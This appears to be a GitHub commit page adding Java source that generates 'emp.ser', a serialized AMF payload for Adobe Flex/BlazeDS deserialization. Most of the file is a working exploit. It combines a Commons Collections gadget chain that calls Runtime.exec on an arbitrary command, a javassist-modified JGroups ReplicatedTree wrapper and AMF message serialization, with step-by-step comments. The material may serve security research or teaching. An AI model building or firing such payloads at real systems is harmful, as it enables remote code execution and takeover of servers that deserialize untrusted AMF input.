Skip to content

Commit adbb6f1

Browse files
committed
Add source code for generating emp.ser
1 parent 3ef8fcd commit adbb6f1

File tree

3 files changed

+191
-0
lines changed

3 files changed

+191
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<module type="JAVA_MODULE" version="4">
3+
<component name="NewModuleRootManager" inherit-compiler-output="true">
4+
<exclude-output />
5+
<content url="file://$MODULE_DIR$">
6+
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
7+
</content>
8+
<orderEntry type="inheritedJdk" />
9+
<orderEntry type="sourceFolder" forTests="false" />
10+
<orderEntry type="library" name="Dependancies" level="project" />
11+
</component>
12+
</module>
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,179 @@
1+
import flex.messaging.io.SerializationContext;
2+
import flex.messaging.io.amf.*;
3+
4+
import javassist.*;
5+
import org.apache.commons.collections.Transformer;
6+
import org.apache.commons.collections.functors.ChainedTransformer;
7+
import org.apache.commons.collections.functors.ConstantTransformer;
8+
import org.apache.commons.collections.functors.InvokerTransformer;
9+
import org.apache.commons.collections.keyvalue.TiedMapEntry;
10+
import org.apache.commons.collections.map.LazyMap;
11+
12+
import org.jgroups.blocks.ReplicatedTree;
13+
14+
15+
import java.io.*;
16+
import java.lang.reflect.Constructor;
17+
import java.lang.reflect.Field;
18+
import java.lang.Class;
19+
import java.nio.file.Files;
20+
import java.util.*;
21+
22+
public class Test1 {
23+
public static void main(String[] args) throws Exception{
24+
// Add a new field called state which is a byte array to org.jgroups.blocks.ReplicatedTree
25+
ClassPool pool = ClassPool.getDefault();
26+
CtClass ctClass = pool.get("org.jgroups.blocks.ReplicatedTree");
27+
CtClass ctClass1 = pool.get("byte[]");
28+
CtField ctField = new CtField(ctClass1, "state", ctClass);
29+
ctClass.addField(ctField);
30+
31+
// Remove the default getState method and replace it with our own getState method that
32+
// just returns the state field that we added in above.
33+
ctClass.removeMethod(ctClass.getDeclaredMethod("getState"));
34+
CtMethod ctMethod = CtNewMethod.make("public byte[] getState(){ return this.state; }", ctClass);
35+
ctClass.addMethod(ctMethod);
36+
37+
// Remember that the ByteArrayOutputStream is cast into an ObjectOutputStream, aka the
38+
// ObjectOutputStream relies on an underlying ByteArrayOutputStream, as can be seen in
39+
// the code below. Here we also create an object that will call calc.exe and write that
40+
// resulting object into the object output stream, before then closing the stream.
41+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
42+
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
43+
objectOutputStream.writeObject(getObject2("PAYLOAD"));
44+
objectOutputStream.close();
45+
46+
// Convert the byte array containing the object stream into
47+
// a byte array and save that into secondObj
48+
byte[] secondObj = byteArrayOutputStream.toByteArray();
49+
50+
// First we create a ReplicatedTree object here, which is part of our desire
51+
// to get org.jgroups.block.ReplicatedTree.setState() to be called. Note that we use
52+
// ctClass, aka the adjusted class that had the "state" field added and the "getState" method
53+
// adjusted, to do this. Then set the "state" field to be accessible and set its value
54+
// to that of secondObj, or the object stream created by getObject2().
55+
Constructor constctor = ctClass.toClass().getConstructor();
56+
ReplicatedTree replicatedTree = (ReplicatedTree) constctor.newInstance();
57+
Field f1 = replicatedTree.getClass().getDeclaredField("state");
58+
f1.setAccessible(true);
59+
f1.set(replicatedTree, secondObj);
60+
61+
// Now that the real object returned by getObject2() has been wrapped in a ReplicatedTree object,
62+
// serialize this object and wrap it further into an AMF object, then return its byte stream and
63+
// save this into the byte array "ser".
64+
byte[] ser = serialize(replicatedTree);
65+
66+
// Finally write the output via a FileOutputStream to the file "emp.ser" on disk.
67+
FileOutputStream fileOutputStream = new FileOutputStream("emp.ser");
68+
fileOutputStream.write(ser);
69+
fileOutputStream.close();
70+
71+
// Now that we have written all of the bytes to disk, lets find the path of the emp.ser file on disk, pass that
72+
// into File.readAllBytes, and then pass the resulting byte array and save into into sercontent, then deserialize that
73+
// content to check the deserialization works properly.
74+
byte[] serContent = Files.readAllBytes((new File("emp.ser")).toPath());
75+
deserialize(serContent);
76+
}
77+
78+
public static byte[] serialize(Object data) throws IOException {
79+
// Create the MessageBody element that will contain the data to be recreated using readObject().
80+
// Recall the chart at https://www.inoreader.com/camo/snhlUtNtXaxve88gsw99xlxXbXWDf4YGK8v6NpdVn1bY,b64/aHR0cHM6Ly9jZG4taW1hZ2VzLTEubWVkaXVtLmNvbS9tYXgvMTAyNC8xKkdHbkVzTWU5N3FUR1VlNGhiVkl0SUEucG5n
81+
// if you need more info on this.
82+
MessageBody body = new MessageBody();
83+
body.setData(data);
84+
85+
// Wrap it the MessageBody in an ActionmMessage which we will call "body", which is needed for proper deserialization to occur, as the HTTP
86+
// end point is expecting a ActionMessage that is then passed to SerializationFilter.invoke(). You can further tell
87+
// this via AmfMessageDeserializer's readMessage() function which expects a ActionMessage (aka the "message" variable
88+
// here), as well as a ActionContext (provided via SerializationContext.getSerializationContext() here).
89+
ActionMessage message = new ActionMessage();
90+
message.addBody(body);
91+
92+
// Serialize the ActionMessage object, aka message, using a new AmfMessageSerializer instance into the ByteArrayOutputStream represented by "out".
93+
// Then call out.toByteArray() to get the byte array version of the resulting serialized object.
94+
ByteArrayOutputStream out = new ByteArrayOutputStream();
95+
AmfMessageSerializer serializer = new AmfMessageSerializer();
96+
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
97+
serializer.writeMessage(message);
98+
99+
return out.toByteArray();
100+
}
101+
102+
public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException {
103+
// Since we take in a byte array, lets first create a ByteArrayInputStream, which is the
104+
// opposite of the ByteArrayOutputStream that was created earlier when serializing the object,
105+
// and pass it "amf", aka the byte array stream we want to process.
106+
ByteArrayInputStream in = new ByteArrayInputStream(amf);
107+
108+
// Create a new AmfMessageDeserializer object to deserialize the AMF message that was serialized using AmfMessageSerializer.
109+
AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
110+
deserializer.initialize(SerializationContext.getSerializationContext(), in, null); // Same initialization function call, don't wnat to change this.
111+
deserializer.readMessage(new ActionMessage(), new ActionContext()); // Pass in a new ActionContext object to initialize, as well as an ActionMessage object to initialize.
112+
}
113+
114+
115+
public static Serializable getObject2(final String command) throws Exception {
116+
117+
final String[] execArgs = new String[] { command };
118+
119+
final Transformer[] transformers = new Transformer[] {
120+
new ConstantTransformer(Runtime.class),
121+
new InvokerTransformer("getMethod", new Class[] {
122+
String.class, Class[].class }, new Object[] {
123+
"getRuntime", new Class[0] }),
124+
new InvokerTransformer("invoke", new Class[] {
125+
Object.class, Object[].class }, new Object[] {
126+
null, new Object[0] }),
127+
new InvokerTransformer("exec",
128+
new Class[] { String.class }, execArgs),
129+
new ConstantTransformer(1) };
130+
131+
Transformer transformerChain = new ChainedTransformer(transformers);
132+
133+
final Map innerMap = new HashMap();
134+
135+
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
136+
137+
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
138+
139+
HashSet map = new HashSet(1);
140+
map.add("foo");
141+
Field f = null;
142+
try {
143+
f = HashSet.class.getDeclaredField("map");
144+
} catch (NoSuchFieldException e) {
145+
f = HashSet.class.getDeclaredField("backingMap");
146+
}
147+
148+
f.setAccessible(true);
149+
HashMap innimpl = (HashMap) f.get(map);
150+
151+
Field f2 = null;
152+
try {
153+
f2 = HashMap.class.getDeclaredField("table");
154+
} catch (NoSuchFieldException e) {
155+
f2 = HashMap.class.getDeclaredField("elementData");
156+
}
157+
158+
f2.setAccessible(true);
159+
Object[] array = (Object[]) f2.get(innimpl);
160+
161+
Object node = array[0];
162+
if(node == null){
163+
node = array[1];
164+
}
165+
166+
Field keyField = null;
167+
try{
168+
keyField = node.getClass().getDeclaredField("key");
169+
}catch(Exception e){
170+
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
171+
}
172+
173+
keyField.setAccessible(true);
174+
keyField.set(node, entry);
175+
176+
return map;
177+
178+
}
179+
}

0 commit comments

Comments
 (0)